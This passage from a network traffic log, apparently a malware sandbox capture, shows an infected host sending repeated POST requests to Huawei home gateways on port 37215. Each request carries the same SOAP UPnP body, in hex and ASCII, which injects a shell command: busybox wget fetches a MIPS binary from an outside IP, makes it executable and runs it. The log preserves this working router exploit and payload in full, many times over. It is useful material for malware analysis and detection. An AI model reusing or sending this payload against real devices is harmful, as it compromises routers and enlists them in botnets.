6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:50.883832932 CET	1845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367577076 CET	2714	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	45946	156.230.27.184	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:20.312721014 CET	1033	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:21.927740097 CET	1062	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:23.847455978 CET	1141	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:27.846904993 CET	1227	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:35.525820017 CET	1450	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:50.883832932 CET	1845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367577076 CET	2714	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 